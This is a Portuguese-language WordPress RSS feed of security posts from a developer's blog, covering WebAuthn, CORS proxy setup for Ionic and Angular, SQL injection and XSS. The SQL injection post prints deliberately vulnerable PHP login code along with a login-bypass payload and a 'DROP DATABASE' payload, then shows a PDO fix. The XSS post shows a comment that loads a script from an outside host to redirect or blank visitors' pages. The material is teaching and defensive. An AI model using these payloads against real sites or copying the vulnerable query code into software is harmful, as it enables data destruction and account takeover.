<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:georss="http://www.georss.org/georss"
	xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#"
	>

<channel>
	<title>Segurança Archives - Hiago Silva Souza</title>
	<atom:link href="https://www.hiago.me/category/seguranca/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.hiago.me/category/seguranca/</link>
	<description></description>
	<lastBuildDate>Mon, 11 Mar 2019 00:45:14 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://www.hiago.me/wp-content/uploads/2019/01/cropped-icon-hiagus-2-32x32.png</url>
	<title>Segurança Archives - Hiago Silva Souza</title>
	<link>https://www.hiago.me/category/seguranca/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">147457425</site>	<item>
		<title>WebAuthn &#8211; Autenticação Biométrica na Internet</title>
		<link>https://www.hiago.me/2019/03/10/webauthn-autenticacao-biometrica-na-internet/</link>
					<comments>https://www.hiago.me/2019/03/10/webauthn-autenticacao-biometrica-na-internet/#respond</comments>
		
		<dc:creator><![CDATA[Hiago Souza]]></dc:creator>
		<pubDate>Sun, 10 Mar 2019 19:11:26 +0000</pubDate>
				<category><![CDATA[Inovação]]></category>
		<category><![CDATA[Novas Tecnologias]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Tendências]]></category>
		<category><![CDATA[WebAuthn]]></category>
		<category><![CDATA[autenticação]]></category>
		<category><![CDATA[biometria]]></category>
		<category><![CDATA[recomendações]]></category>
		<category><![CDATA[segurança]]></category>
		<category><![CDATA[w3c]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[webauthn]]></category>
		<guid isPermaLink="false">https://www.hiago.me/?p=607</guid>

					<description><![CDATA[<p>A web não para de mudar a W3C que é a principal organização para a padronização da Web, disponibilizou no dia 4 de março de 2019 uma nova recomendação, uma API de Autenticação da Web (também conhecida como WebAuthn). O que é o WebAuthn? [wp_ad_camp_3] A API de Autenticação da Web (também conhecida como WebAuthn) &#8230;</p>
<p>The post <a href="https://www.hiago.me/2019/03/10/webauthn-autenticacao-biometrica-na-internet/">WebAuthn &#8211; Autenticação Biométrica na Internet</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>A web não para de mudar a W3C que é a principal organização para a padronização da Web, disponibilizou no dia 4 de março de 2019 uma nova recomendação, uma <a href="https://www.w3.org/TR/webauthn/">API de Autenticação da Web</a> (também conhecida como WebAuthn).</p>



<h2 class="wp-block-heading">O que é o WebAuthn?</h2>



<p>[wp_ad_camp_3] </p>



<p>A API de Autenticação da Web (também conhecida como WebAuthn) é uma especificação escrita pelo <a href="https://www.w3.org/">W3C</a> e pela <a href="https://fidoalliance.org/">FIDO</a>, com a participação de grandes empresas como o Google, Mozilla, Microsoft dentre outros. A API permite que os servidores registrem e autentiquem usuários usando criptografia de chave pública ao invés de uma senha.</p>



<p>Ele permite que os servidores integrem-se aos autenticadores fortes agora integrados em dispositivos, como o Windows Hello ou o Touch ID da Apple. Em vez de uma senha, um par de chaves público-privado (conhecido como <strong>credencial</strong>) é criado para um site/aplicação web. A chave privada é armazenada com segurança no dispositivo do usuário; uma chave pública e um ID de credencial é gerada aleatoriamente é enviada ao servidor para armazenamento. O servidor pode então usar essa chave pública para provar a identidade do usuário.</p>



<p> A chave pública não é secreta, porque é efetivamente inútil sem a chave privada correspondente.&nbsp;O fato de o servidor não receber segredo tem implicações de longo alcance para a segurança de usuários e organizações.&nbsp;Os bancos de dados não são mais tão atraentes para os hackers, porque as chaves públicas não são úteis para eles. </p>



<p> O WebAuthn faz parte da&nbsp;<a rel="noreferrer noopener" href="https://duo.com/blog/developments-to-webauthn-and-the-fido2-framework" target="_blank">estrutura FIDO2</a>&nbsp;, que é um conjunto de tecnologias que permitem a autenticação sem senha entre servidores, navegadores e autenticadores.&nbsp;A partir de janeiro de 2019, o WebAuthn é suportado no Chrome, Firefox e Edge, com suporte futuro no Safari. </p>



<h2 class="wp-block-heading">Registrando uma credencial do WebAuthn</h2>



<p> [wp_ad_camp_2]<br></p>



<p>Em um fluxo de registro de usuário baseado em senha, um servidor normalmente apresentará um formulário a um usuário solicitando um nome de usuário e senha.&nbsp;A senha seria enviada ao servidor para armazenamento.</p>



<p>No WebAuthn, um servidor deve fornecer dados que vinculem um usuário a uma credencial (um par de chaves público-privado); esses dados incluem identificadores para o usuário e a organização (também conhecidos como &#8220;terceira parte confiável&#8221;). O site, em seguida, usaria a API de autenticação da Web para solicitar que o usuário crie um novo par de chaves. É importante notar que precisamos de uma string gerada aleatoriamente do servidor como um desafio para evitar ataques de repetição.</p>



<div class="wp-block-button"><a class="wp-block-button__link has-text-color has-very-light-gray-color has-background has-vivid-cyan-blue-background-color" href="https://webauthn.io/">Veja uma demonstração em webauthn.io</a></div>



<figure class="wp-block-image"><img fetchpriority="high" decoding="async" width="398" height="414" src="https://www.hiago.me/wp-content/uploads/2019/03/2019-03-10_1529.png" alt="" class="wp-image-608" srcset="https://www.hiago.me/wp-content/uploads/2019/03/2019-03-10_1529.png 398w, https://www.hiago.me/wp-content/uploads/2019/03/2019-03-10_1529-288x300.png 288w" sizes="(max-width: 398px) 100vw, 398px" /><figcaption>Exemplo de um registro utilizando o WebAuthn<br></figcaption></figure>



<h3 class="wp-block-heading">Autenticando com uma credencial do WebAuthn</h3>



<p>[wp_ad_camp_1] </p>



<p>Após o término do registro, o usuário agora pode ser autenticado.&nbsp;Durante a autenticação, uma&nbsp;declaração&nbsp;é criada, o que prova que o usuário possui a chave privada.&nbsp;Essa declaração contém uma&nbsp;<em>assinatura</em> criada usando a chave privada. O servidor usa a chave pública recuperada durante o registro para verificar essa assinatura.</p>



<div class="wp-block-button"><a class="wp-block-button__link has-background has-vivid-cyan-blue-background-color" href="https://webauthn.io/">Veja uma demonstração em webauthn.io</a></div>



<figure class="wp-block-image"><img decoding="async" width="353" height="537" src="https://www.hiago.me/wp-content/uploads/2019/03/2019-03-10_1542.png" alt="" class="wp-image-612" srcset="https://www.hiago.me/wp-content/uploads/2019/03/2019-03-10_1542.png 353w, https://www.hiago.me/wp-content/uploads/2019/03/2019-03-10_1542-197x300.png 197w" sizes="(max-width: 353px) 100vw, 353px" /><figcaption> <br>Exemplo de um login utilizando o WebAuthn </figcaption></figure>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"><p>O que é criptografia de chave pública?</p><p><br></p><cite>A criptografia de chave pública foi inventada nos anos 70 e foi uma solução para o problema dos segredos compartilhados. É um pilar da segurança moderna da Internet; Por exemplo, toda vez que nos conectamos a um site HTTPS, ocorre uma transação de chave pública. <br>Criptografia de chave pública usa o conceito de um par de chaves;&nbsp;uma chave privada armazenada com segurança pelo usuário e uma chave pública que pode ser compartilhada com o servidor.&nbsp;Essas &#8220;chaves&#8221; são números longos e aleatórios que têm um relacionamento matemático entre si. </cite></blockquote>



<h2 class="wp-block-heading">Olhando para o futuro</h2>



<p>Embora a Autenticação da Web seja uma ferramenta importante,&nbsp;é sempre importante lembrar que a segurança não é uma tecnologia única;&nbsp;É uma&nbsp;<em>maneira de pensar</em>&nbsp;que deve ser incorporada em cada etapa de como o software&nbsp;é projetado e desenvolvido.&nbsp;A autenticação da Web pode ser uma parte importante desse processo,&nbsp;forçando 80% dos ataques de hackers a se adaptar ou a morrer.</p>



<p>Fora introdução todo conteúdo desse post é uma tradução do site webauthn.guide e você pode encontrar o texto original <a href="https://webauthn.guide/">clicando aqui</a>.</p>



<p>Nos próximos posts vou estar trazendo aplicações práticas e tutoriais para implementação da funcionalidade com PWA&#8217;s e sistemas Web.</p>
<p>The post <a href="https://www.hiago.me/2019/03/10/webauthn-autenticacao-biometrica-na-internet/">WebAuthn &#8211; Autenticação Biométrica na Internet</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.hiago.me/2019/03/10/webauthn-autenticacao-biometrica-na-internet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">607</post-id>	</item>
		<item>
		<title>Ionic &#038; Angular: Fazendo o CORS seu amigo</title>
		<link>https://www.hiago.me/2018/09/08/ionic-angular-fazendo-o-cors-seu-amigo/</link>
					<comments>https://www.hiago.me/2018/09/08/ionic-angular-fazendo-o-cors-seu-amigo/#comments</comments>
		
		<dc:creator><![CDATA[Hiago Souza]]></dc:creator>
		<pubDate>Sat, 08 Sep 2018 18:03:07 +0000</pubDate>
				<category><![CDATA[Infraestrutura]]></category>
		<category><![CDATA[Ionic]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PWA]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[angular]]></category>
		<category><![CDATA[cors]]></category>
		<category><![CDATA[ionic]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[segurança]]></category>
		<category><![CDATA[técnicas]]></category>
		<guid isPermaLink="false">https://www.hiago.me/?p=418</guid>

					<description><![CDATA[<p>Se esse post chamou sua atenção, com certeza você já teve ou ainda tem problemas com o CORS. Meu objetivo aqui é mostrar a importância desse mecanismo de segurança e como fazer o seu uso de forma consciente e clara. Antes de criticarmos ou falar que algo é ruim, é bom entendermos o motivo pelo &#8230;</p>
<p>The post <a href="https://www.hiago.me/2018/09/08/ionic-angular-fazendo-o-cors-seu-amigo/">Ionic &#038; Angular: Fazendo o CORS seu amigo</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Se esse post chamou sua atenção, com certeza você já teve ou ainda tem problemas com o CORS. Meu objetivo aqui é mostrar a importância desse mecanismo de <em><strong>segurança</strong></em> e como fazer o seu uso de forma consciente e clara.</p>
<p>Antes de criticarmos ou falar que algo é ruim, é bom entendermos o motivo pelo qual aquilo existe.</p>
<h1>Porque o CORS existe?</h1>
<p>O CORS (do inglês cross-origin resource sharing) é um mecanismo que permite que os conteúdos de domínios diferentes sejam compartilhados. Ele existe para evitar que o conteúdo de um determinado domínio seja utilizado por outro sem a autorização do mesmo.</p>
<p>Exemplo: supondo que eu queira exibir os conteúdos do youtube em meu site, faço uma análise das requisições HTTP&#8217;s feitas pelo youtube, obtendo os parâmetros da chamada criaria uma UI para usar as informações do youtube, tirando assim proveiro dos dados deles. O CORS impediria que essa ação fosse executada na <em>camada do navegador</em>, ou seja é uma segurança para você!</p>
<h1>Como funcionar o CORS?</h1>
<p>O CORS vai analisar se o recurso que você tenta carregar está sob o mesmo domínio e porta. Com isso mesmo que você tenha sua API rodando no endereço &#8220;http://localhost:8080&#8221; e sua aplicação ionic/angular rodando em suas respectivas portas (8100/4200) ao chamar a API com toda certeza vai ter sua requisição bloqueada e vai receber a mensagem de CORS.</p>
<p>Quando você não está sob o mesmo domínio você vai notar na parte de redes que uma requisição http gera 2 outras chamadas. A primeira chamada usa o verbo http OPTIONS, ele é utilizado pelo navegador para perguntar ao  seu servidor/aplicação quais os tipos de requisição sua aplicação permite e é no OPTIONS que você deve informar suas configurações do CORS através de Headers.</p>
<h2>Opções para o CORS</h2>
<ol>
<li><strong>Access-Control-Allow-Origin: </strong>Header utilizado para informar quais domínios você <em><strong>permite</strong></em> que use o seu conteúdo.</li>
<li><strong>Access-Control-Allow-Methods:</strong> Header utilizado para informar quais verbos http você <em><strong>permite</strong></em> a partir dos <em><strong>domínios</strong></em> liberados.</li>
<li><strong>Access-Control-Allow-Headers:</strong> Header utilizado para informar quais &#8220;Headers&#8221; os domínios liberados podem enviar para você.</li>
<li><strong>Access-Control-Max-Age:</strong> Header utilizado para informar quanto tempo é válido essas configurações de CORS.</li>
</ol>
<h1>O que não devo fazer?</h1>
<p><span style="display: inline !important; float: none; background-color: transparent; color: #333333; cursor: text; font-family: 'Source Sans Pro',Arial,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; -webkit-text-stroke-width: 0px; white-space: normal; word-spacing: 0px;">[wp_ad_camp_3]</span></p>
<p>Bom acho que a primeira coisa que você deve se questionar é: Preciso realmente liberar o CORS em seu ambiente? Mesmo em aplicações ionic a liberação não é necessária. O mesmo para Angular, vendo que em produção o domínio será o mesmo (ou não rs).</p>
<p>Mas vamos lá, supondo que você chegou a conclusão que liberar o CORS é realmente necessário, não faça isso &#8220;<strong>Access-Control-Allow-Origin: *</strong>&#8221; ao fazer isso você está simplesmente tirando uma camada de segurança que foi criada para você. Caso você esteja rodando uma aplicação ionic (já compilada), não é necessário liberar o CORS mas caso queira liberar é necessário apenas  permitir o endereço http://localhost:8080/ que é o endereço que o ionic utiliza para carregar sua aplicação compilada ou seja a liberação correta (caso deseje fazer) é &#8220;<strong>Access-Control-Allow-Origin: http://localhost:8080</strong>&#8220;.</p>
<p>Outra coisa bem importante é o <strong>Access-Control-Max-Age </strong>geralmente nos tutoriais ninguém comenta sobre ele. Lembra aquela segunda requisição? A do tipo OPTIONS, então ela é feita quando expira o <strong>Access-Control-Max-Age </strong>então se você não falar para o navegador que essas definições só mudam de X em X tempos todo e qualquer request que você fizer o seu servidor vai receber duas requisições (cada browser tem seu tempo padrão). Em ambiente de desenvolvimento, geralmente desabilitamos os cache&#8217;s e com isso o <strong>Access-Control-Max-Age</strong> não vai fazer efeito. Mas em ambiente de produção é algo muito importante.</p>
<h1>Como assim não preciso liberar o CORS para o ionic?</h1>
<p>Sim é isso mesmo, não precisa! E já vou explicar o motivo. Quando você desenvolve seu aplicativo, você geralmente testa seu projeto seu navegador e ele implementa o Same-Origin-Policy por isso que você tem problemas com CORS e acaba fazendo tudo quanto é tipo de liberação. Porém quando o seu aplicativo é compilado para APK ou IPA o ionic de forma nativa consegue desabilitar o CORS da WebView (e eles já fazem isso).</p>
<p>Vale lembrar que para o iOS o ionic sempre usou o <em><strong>UIWebView</strong></em> só que agora eles migraram para o <em><strong>MKWebView</strong></em> e no iOS eles não conseguem desabilitar o CORS nessa webview em especifico =/. Então ou você faz um downgrade da webview, ou você libera o CORS para a origem &#8220;<strong>http://localhost:8080</strong>&#8221; ai é uma decisão pessoal, basta acessar a <a href="https://ionicframework.com/docs/wkwebview/">documentação</a> com as melhorias propostas pela <em><strong>MKWebView</strong></em> e colocar na balança.</p>
<p>Para fazer o downgrade da WebView basta colocar o conteúdo abaixo em seu config.xml para a plataforma iOS:</p>
<pre class="brush: xml; title: ; notranslate">

&lt;preference name=&quot;CordovaWebViewEngine&quot; value=&quot;CDVUIWebViewEngine&quot; /&gt;

</pre>
<h1>E meu ambiente de desenvolvimento, como faço?</h1>
<p>Então para você desabilitar a checagem do CORS em seu ambiente de desenvolvimento você pode fazer uso de uma <a href="https://chrome.google.com/webstore/detail/moesif-origin-cors-change/digfbfaphojjndkpccljibejjbppifbc">extensão do google chrome </a>mas eu não recomendo, tive muitos problemas com essa extensão. Ela liberou o CORS mas sempre me trouxe problema com encodings em outros sites que eu acessava.</p>
<h2>Não quer usar a extensão?</h2>
<p>Então vamos lá, o ionic e o angular tem um recurso bem interessante e muito pouco conhecido que tem exatamente essa função (impedir problemas com CORS) são os proxies.  É algo bem simples, mas eles são apenas para ambientes de desenvolvimento. Então não se esqueça de criar uma configuração para seu endpoint  🙂</p>
<h2>O que é um proxy? Como ele funciona?</h2>
<p>Um proxy basicamente é um serviço intermediário entre você e seu servidor de aplicação, ele recebe sua requisição e repassa ela para o servidor original.</p>
<p>Vamos criar o seguinte cenário: Tenho a url (http://localhost:8888/) rodando um backend, então vamos criar um mapeamento para informar que tudo que for chamado na uri <strong>/api </strong>seja passado para o backend.</p>
<p>Vamos supor que você esteja desenvolvendo em uma aplicação ionic, ao digitar o endereço http://localhost:8100/api/criar-usuario ele vai redirecionar internamente no processo do ionic serve a requisição para http://localhost:8888/criar-usuario então sua aplicação vai estar chamando uma URL que está no mesmo <strong>domínio</strong> e na mesma <strong>porta </strong>assim a Same-Origin-Policy não vai ser aplicada e você pode seguir seu desenvolvimento sem necessidade de liberar o CORS para desenvolver.</p>
<h1>Configurando o proxy no ionic</h1>
<p><span style="display: inline !important; float: none; background-color: transparent; color: #333333; cursor: text; font-family: 'Source Sans Pro',Arial,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; -webkit-text-stroke-width: 0px; white-space: normal; word-spacing: 0px;">[wp_ad_camp_2]</span></p>
<p>Para configurar o proxy no ionic basta abrir o arquivo <strong>ionic.config.json </strong>e criar uma nova propriedade chamada <strong>proxies</strong> e nela definir seus paths.</p>
<p>Exemplo:</p>
<pre class="brush: jscript; title: ; notranslate">
{
	&quot;name&quot;: &quot;app-meuapp&quot;,
	&quot;app_id&quot;: &quot;&quot;,
	&quot;type&quot;: &quot;ionic-angular&quot;,
	&quot;proxies&quot;: &#x5B;{
		&quot;path&quot;: &quot;/api&quot;,
		&quot;proxyUrl&quot;: &quot;http://localhost:8888/&quot;
	}],
	&quot;integrations&quot;: {
		&quot;cordova&quot;: {}
	}
}
</pre>
<h1>Configurando o proxy no Angular</h1>
<p>Para fazer a configuração de seu proxy no Angular o processo é semelhante. Para isso é necessário criar um arquivo JSON com as configurações os paths desejados. Então vamos criar o arquivo <strong>proxy.conf.json </strong>e vamos colocar o conteúdo abaixo. Após isso basta você inicializar seu projeto com o comando <strong>ng serve &#8211;proxy-config proxy.conf.json.</strong></p>
<p>Observação: Recomendo que coloque esse comando na chave start do <strong>package.json</strong> assim você só vai precisar rodar o comando <strong>npm start</strong></p>
<p>Conteúdo para o proxy.conf.json</p>
<pre class="brush: jscript; title: ; notranslate">
{
  &quot;/api&quot;: {
    &quot;target&quot;: &quot;http://localhost:8888&quot;,
    &quot;secure&quot;: false
  }
}
</pre>
<h1>Conclusão</h1>
<p><span style="display: inline !important; float: none; background-color: transparent; color: #333333; cursor: text; font-family: 'Source Sans Pro',Arial,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; -webkit-text-stroke-width: 0px; white-space: normal; word-spacing: 0px;">[wp_ad_camp_1]</span></p>
<p>O CORS é um recurso de segurança muito importante e precisamos gerenciar ele de acordo com as necessidades do nosso projeto, fazendo o uso das técnicas mencionadas nesse post é possível trabalhar sem dor de cabeça e claro ter um desenvolvimento saudável e seguro.</p>
<p>The post <a href="https://www.hiago.me/2018/09/08/ionic-angular-fazendo-o-cors-seu-amigo/">Ionic &#038; Angular: Fazendo o CORS seu amigo</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.hiago.me/2018/09/08/ionic-angular-fazendo-o-cors-seu-amigo/feed/</wfw:commentRss>
			<slash:comments>28</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">418</post-id>	</item>
		<item>
		<title>Segurança: SQL Injection, Os dados de sua empresa estão protegidos?</title>
		<link>https://www.hiago.me/2017/04/30/seguranca-sql-injection-os-dados-de-sua-empresa-estao-protegidos/</link>
					<comments>https://www.hiago.me/2017/04/30/seguranca-sql-injection-os-dados-de-sua-empresa-estao-protegidos/#comments</comments>
		
		<dc:creator><![CDATA[Hiago Souza]]></dc:creator>
		<pubDate>Sun, 30 Apr 2017 23:54:38 +0000</pubDate>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[segurança]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql-injection]]></category>
		<guid isPermaLink="false">http://www.hiago.me/?p=131</guid>

					<description><![CDATA[<p>[wp_ad_camp_3] SQL Injection, é um furo muito comum em programas de computador. Essa falha atinge sistemas que façam interação com bases de dados, é uma falha que pode levar o cracker a acessar, manipular, modificar e até remover informações de seu banco de dados sem autorização. Para isso basta sua aplicação se comunicar com o &#8230;</p>
<p>The post <a href="https://www.hiago.me/2017/04/30/seguranca-sql-injection-os-dados-de-sua-empresa-estao-protegidos/">Segurança: SQL Injection, Os dados de sua empresa estão protegidos?</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>[wp_ad_camp_3]</p>
<p>SQL Injection, é um furo muito comum em programas de computador. Essa falha atinge sistemas que façam interação com bases de dados, é uma falha que pode levar o cracker a acessar, manipular, modificar e até remover informações de seu banco de dados sem autorização. Para isso basta sua aplicação se comunicar com o banco de dados sem tratar a entrada de usuários. O SQL Injection, pode ser explorado desde aplicações desktop&#8217;s até aplicações web.</p>
<h1>O Ataque!</h1>
<p>[wp_ad_camp_1]</p>
<p>Um cracker pode fazer o uso de uma entrada de uma informação que interaja com alguma consulta SQL dentro da aplicação.</p>
<p>Exemplo: Um sistema de autenticação, até mesmo para um script para buscar um conteúdo.</p>
<p>Supondo que você seja uma pessoa que saiba sobre programação, observe o código abaixo escrito em PHP:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
$conn = mysql_connect('localhost','root','suasenha');
mysql_select_db('teste',$conn);
$autenticar = mysql_query('SELECT COUNT(1) as qtd FROM usuario WHERE &amp;nbsp;usuario=&quot;'.$_POST&#x5B;'usuario'].'&quot; AND senha = &quot;'.$_POST&#x5B;'pwd'].'&quot;', $conn);
$res = mysql_fetch_assoc($autenticar);
if($res&#x5B;'qtd'] &gt;= 1) {
echo &quot;ACESSOU, TUDO OK!!!&quot;;
} else {
echo &quot;Usuário ou senha incorretos.&quot;;
}
</pre>
<p>Agora vamos fazer um teste, colocando no payload da requisição o valor admin para a chave &#8216;usuario&#8217; e admin para a chave &#8216;pwd&#8217;. A query que iria para o MySQL executar seria a query abaixo:</p>
<pre class="brush: sql; title: ; notranslate">
SELECT COUNT(1) as qtd FROM usuario WHERE usuario=&quot;admin&quot; AND senha = &quot;admin&quot;
</pre>
<p>Agora vamos modificar as informações enviadas pelo usuário, vamos supor que seu usuário seja um cracker e deseja obter acesso a sua aplicação para isso ele vai modificar o valor de <strong>usuario </strong>para <strong>admin&#8221; OR 1=1 &#8212; </strong>agora vamos fazer a mesma análise de como a query vai ser enviada ao banco de dados, segue abaixo:</p>
<pre class="brush: sql; title: ; notranslate">
SELECT COUNT(1) as qtd FROM usuario WHERE usuario=&quot;admin&quot; OR 1=1 --&quot; AND senha = &quot;&quot;
</pre>
<p>Caso você possua o usuário que o cracker colocou na injeção, ele vai ter o acesso sem necessitar de possuir a senha.<br />
Esse tipo de ataque, abre leque para que o cracker explore falhas de <a href="http://www.hiago.me/2017/04/30/seguranca-o-que-e-xss/">XSS</a> em telas de cadastro em seus painéis administrativos.</p>
<p>Mas falhas de injeção abrem um leque muito alto para o atacante, como por exemplo a exclusão de sua própria base de dados, imagine que no campo de usuário foi informado esse conteúdo <strong>&#8220;; DROP DATABASE DATABASE(); &#8212; </strong>a query final seria a seguinte:</p>
<pre class="brush: sql; title: ; notranslate">
SELECT COUNT(1) as qtd FROM usuario WHERE usuario=&quot;&quot;; DROP DATABASE DATABASE(); --&quot; AND senha = &quot;&quot;
</pre>
<p>E assim você acaba de perder TODO o seu banco de dados, tudo isso por não tratar uma simples entrada de informação.</p>
<h1>Como se prevenir:</h1>
<p>[wp_ad_camp_2]</p>
<p>Para se prevenir pasta você fazer o tratamento de qualquer informação antes de encaminha-lá ao banco de dados.</p>
<p>Vamos mudar a extensão do <a href="http://php.net/manual/pt_BR/function.mysql-connect.php">mysql_*</a> para a extensão do <a href="http://php.net/manual/pt_BR/ref.pdo-mysql.php">PDO </a>do php:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
$conn = new PDO('mysql:host=localhost;dbname=teste','root','suasenha');
$autenticar = $conn-&amp;gt;prepare('SELECT COUNT(1) as qtd FROM usuario WHERE &amp;nbsp;usuario=:usuario AND senha = :pwd');
$autenticar-&gt;bindParam(':usuario', $_GET&#x5B;'usuario']);
$autenticar-&gt;bindParam(':pwd', $_GET&#x5B;'pwd']);
$autenticar-&gt;execute();
$res = $autenticar-&gt;fetch(PDO::FETCH_ASSOC);
if($res&#x5B;'qtd'] &gt;= 1) {
     echo &quot;ACESSOU, TUDO OK!!!&quot;;
} else {
     echo &quot;Usuário ou senha incorretos.&quot;;
}
</pre>
<p>Pronto! A partir de agora qualquer tipo de informação enviada pelo usuário vai ser tratada, vamos ver como ficaria a consulta enviada para o MySQL com o valor da chave usuario contendo <strong>admin&#8221; OR 1=1 &#8212;</strong>:</p>
<pre class="brush: sql; title: ; notranslate">
SELECT COUNT(1) as qtd FROM usuario WHERE usuario=&quot;admin\&quot; OR 1=1 --&quot; AND senha = &quot;&quot;
</pre>
<p>Obrigado!</p>
<p>Espero que com esse POST eu tenha contribuído para que vocês melhorem a segurança em suas aplicações.</p>
<p>The post <a href="https://www.hiago.me/2017/04/30/seguranca-sql-injection-os-dados-de-sua-empresa-estao-protegidos/">Segurança: SQL Injection, Os dados de sua empresa estão protegidos?</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.hiago.me/2017/04/30/seguranca-sql-injection-os-dados-de-sua-empresa-estao-protegidos/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">131</post-id>	</item>
		<item>
		<title>Segurança: O que é XSS?</title>
		<link>https://www.hiago.me/2017/04/30/seguranca-o-que-e-xss/</link>
					<comments>https://www.hiago.me/2017/04/30/seguranca-o-que-e-xss/#respond</comments>
		
		<dc:creator><![CDATA[Hiago Souza]]></dc:creator>
		<pubDate>Sun, 30 Apr 2017 03:00:51 +0000</pubDate>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[ataque]]></category>
		<category><![CDATA[cracker]]></category>
		<category><![CDATA[prevenção]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">http://localhost/hiago/?p=50</guid>

					<description><![CDATA[<p>[wp_ad_camp_3] XSS, do inglês (Cross-site scripting) é um tipo de vulnerabilidade de segurança para o computador, ele é localizado geralmente em aplicações web. Com essa vulnerabilidade, é possível ativar ataques maliciosos ao injetarem um client-side script dentro de páginas web vista por outras pessoas. O Ataque! [wp_ad_camp_1] Através de um XSS, o cracker injeta códigos &#8230;</p>
<p>The post <a href="https://www.hiago.me/2017/04/30/seguranca-o-que-e-xss/">Segurança: O que é XSS?</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>[wp_ad_camp_3]</p>
<p>XSS, do inglês (Cross-site scripting) é um tipo de vulnerabilidade de segurança para o computador, ele é localizado geralmente em aplicações web. Com essa vulnerabilidade, é possível ativar ataques maliciosos ao injetarem um client-side script dentro de páginas web vista por outras pessoas.</p>
<h1>O Ataque!</h1>
<p>[wp_ad_camp_1]</p>
<p>Através de um XSS, o cracker injeta códigos de uma linguagem client-side (no caso das páginas na web JavaScript) para que esse conteúdo seja executado no navegador do visitante do website.</p>
<blockquote><p>Exemplo de Ataque:</p>
<p>Seu site possui uma página de comentários, e você não aplicou as devidas validações na mesma. Com isso um cracker criou um arquivo .js e hospedou em algum lugar na internet, ai com isso ele colocou um comentário no seu site com o seguinte conteúdo &#8220;Nossa que legal =) &lt;script src=&#8217;https://algumlugarnainternet.com.br/script-malicioso.js&#8217;&gt;&lt;/script&gt;&#8221;, como você não tratou quando algum de seus visitantes for ver o conteúdo e carregar esse comentário automaticamente ele vai chamar o <strong>script-malicioso.js</strong> e interpretar tudo que tá escrito lá! Imagine que dentro do script-malicioso.js, contenha o conteúdo &#8221; document.body.innerHTML=&#8221;; &#8221; ou então o conteúdo &#8221; window.location.href=&#8217;http://www.sitedoseuconcorrente.com.br&#8217;; &#8220;!</p></blockquote>
<p>Esses são apenas alguns exemplos simples e fáceis de serem elaborados, ataques XSS tedem a ser mais perigosos do que se imagina. Pode se usar para roubo de senhas, tentativa de ataques a roteadores, manipulação de conteúdo, e o que a imaginação do cracker for capaz.</p>
<p>&nbsp;</p>
<h1>Como se prevenir:</h1>
<p>[wp_ad_camp_2]</p>
<p>Existem diversas maneiras de se previnir, tanto na hora de mostrar o conteúdo para o usuário na tela quanto na hora de levar essa informação ao seu banco de dados. No php podemos fazer o uso da função <span class="methodname"><strong><a href="http://php.net/manual/pt_BR/function.strip-tags.php">strip_tags</a> </strong>conforme exemplo abaixo:</span></p>
<p>&nbsp;</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
$tagsPermitidas = array('b', 'p');
$informacaoQueVaiParaOBanco = strip_tags($_POST&#x5B;'conteudo'], $tagsPermitidas);
</pre>
<p>&nbsp;</p>
